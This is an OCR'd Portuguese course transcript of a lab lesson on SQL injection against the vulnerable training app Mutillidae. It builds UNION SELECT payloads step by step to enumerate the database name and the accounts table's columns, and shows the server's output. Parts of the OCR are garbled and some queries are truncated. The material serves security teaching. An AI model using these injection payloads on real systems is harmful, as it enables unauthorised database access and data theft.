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Union select

Transcricdo

Na tltima aula conseguimos mapear a quantidade de colunas que temos na tabela Accounts. O préximo desafio é
descobrir o nome de cada uma dessas colunas. Ja sabemos que o Banco de dados MySQL possui um banco interno
chamado de information_schema que é capaz de referenciar todas colunas, nomes e tabelas de outros bancos que estio
dentro do MySQL.

A query que devemos formular para que o information_schema consiga essas informacdes deve conter a selegdo de
tudo, SELECT * from, que pertence ao information_schema e junto aisso adicionamos o columns where
table_name="accounts' . Escrevendo essa ultima parte nés desejamos saber o nome das colunas na tabela de nome

Accounts. Teremos:

SELECT * from information_schema.columns where table_name='accounts'

No6s adicionaremos isso junto a primeira query elaborada:

SELECT username FROM accounts WHERE username='' AND password=""'

E preciso remanejar a query para que dentro dela caiba o SELECT * from information_schema.columns . Como desejamos
delimitar a string , pois nesse momento estamos livres para colocar o c6digo SQL que quisermos, vamos acrescentar
depois de admin o SELECT from . Ainda, adicionamos um comentdrio, -- ,apdso account e dessa maneira, o que vier

depois disso ndo nos atrapalhara mais. Teremos:

SELECT username FROM accounts WHERE username='admin' SELECT * from information_schema.columns wl

AND password=""

E preciso unir os dois SELECT e para junta-los nés utilizamos a palavra UNION na frente do SELECT * from . O UNION ,

entretanto, possui certas limitacdes. Vamos testar? Selecionamos o seguinte:

admin' UNION SELECT * from information_schema.columns where table_name='accounts' --

E acrescentamos isso ao Name! Clicando no Account Details podemos rolar a pagina para baixo e verificar se isso é

aceito! Teremos:
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Error Message

I Failure is always an option
| Lne 170
" cede o

[ File ]|fouaspbuafmutilhdae-gitjclassesnySOLHandler.php

fowaspbwa/mutillidae-git/classes/MySOLHandler.php on line 165: Error executing query:

connect_errno: O
ermmo:_ 1232 - i}
I EE ECT statements have a different number of columnd]

) Query: SELECT * FROM accounts WHERE username='admin' UNION SELECT * from information_schema.columns
-- ' AND password="" (0) [Exception]

#0 /owaspbwa/mutillidae-git/classes/MySQLHandler.php(283): MySQLHandler->doExecuteQuery('SELECT * FROM

Trace fmutillidae-git/classes/S0LQueryHandler.php(327): MySQLHandler->executeQuery('SELECT * FROM a...') #2
info.php(191): SOLQueryHandler->getUserAccount('admin’ UNION SE...', '') #3 /owaspbwa/mutillidae-git/i
require_once('/owaspbwa/mutil...") #4 {main}

Error attempting to display user information

Inforaation

A mensagem que aparece afirma que ocorre um erro em relacéo ao numeros de colunas. O UNION pede justamente um

mesmo numero de colunas nas duas tabelas. Assim, € preciso informar ao UNION que ele n#o traga mais tudo, mas sim

1,2,3,4,5,6,7 :

SELECT username FROM accounts WHERE username='admin' SELECT 1,2,3,4,5,6,7 from information_schei

AND password=""

Vamos selecionar:

admin' SELECT 1,2,3,4,5,6,7 from information_schema.columns where table_name='accounts' --

E podemos verificar se temos alguma resposta do servidor. Injetamos mais uma vez esse trecho no Name e temos:

Please enter username and password
to view account details

Password [

| View Account Details

Dont have an account? Please register here

Results for "admin’ UNION SELECT 1,2,3,4,5,6,7 from information_schema.columns where
".2 records found.

Username=admin
Password=admin
Signature=g0t ro0t?

Username=1
Password=3
Signature=4

Foi aceito! Ndo temos mais exception. Recebemos as informacoes de que Username esta na coluna nimero 2, Password
na numero 3 e Signaturena 4. Repare que esses nimeros surgem dos parametros que nés mesmos inserimos. Falta
descobrir qual o banco em que essa tabela Accounts esta inserida. Portanto, nds vamos substituir um desses valores que

aparece na tela pelo database . Teremos o seguinte c6digo:
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SELECT username FROM accounts WHERE username='admin' UNION SELECT 1,database(),3,4,5,6,7 from il

AND password=""

Nés vamos copiar o seguinte:

admin' UNION SELECT 1,database(),3,4,5,6,7 from information_schema.columns where table_name='ac:

4

E inserimos isso em Name e clicando e View Account Details vamos ter a seguinte resposta:

Please enter username and password
to view account details

Name [

Password [

[ View Account Details ]

Dont have an account? Please register here

Results for "admin' UNION SELECT 1,database(),3,4,5,6,7 from Information_schema
table_name='accounts’ -- ".2 records found.
Username=admin k
Password=admin
Signature=g0t ro0t?

Username=[ITEEY

Password=3
Signature=4

Ou seja, temos o nome da banco no qual a tabela estd inserida, o nowasp ! Ento, ja temos a tabela e o banco. Agora, fica
ainda mais facil descobrir as colunas de Account. No lugar do database() ndsvamos colocar columns_name e apéso

table vamos inserir table schema='nowasp' e com isso, estamos dizendo: queremos saber o nome das colunas que

estdo na tabela Accounts dentro do banco nowasp. Teremos:

SELECT username FROM accounts WHERE username='admin' UNION SELECT 1,column_name,3,4,5,6,7 from :

AND password=""

Copiamos o seguinte:

admin' UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name="a:

»

Inserimos isso junto ao name , clicamos no View Account Details e teremos:
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‘ Dont have an account? Please register here
Itele:‘.se Results for "admin' UNION SELECT 1,column_name,3,4,5,6,7 from infor _sch where
Announ nts table_name='accounts' and table_schema='nowasp'-- ".8 records found.

Username=admin
Password=admin

You Signature=g0t r00t?
D -
Video II.’Isername—cld
Tutorials assword=3
Signature=4
Username=username
Password=3
Signature=4
Username=password
OWASP Password=3

Signature=4

Username=mysignature
Password=3
Signature=4

Ou seja! Temos todos os nomes das colunas!

De maneira resumida, temos no Banco MysQL a tabela Accounts e dentro dela temos as seguintes colunas:

Banco
MySQL

/ Accounts \

cid e username lastname is_admin password firstname mysignature

((

(

Por fim, conseguimos descobrir quais eram as sete colunas dentro da tabela!
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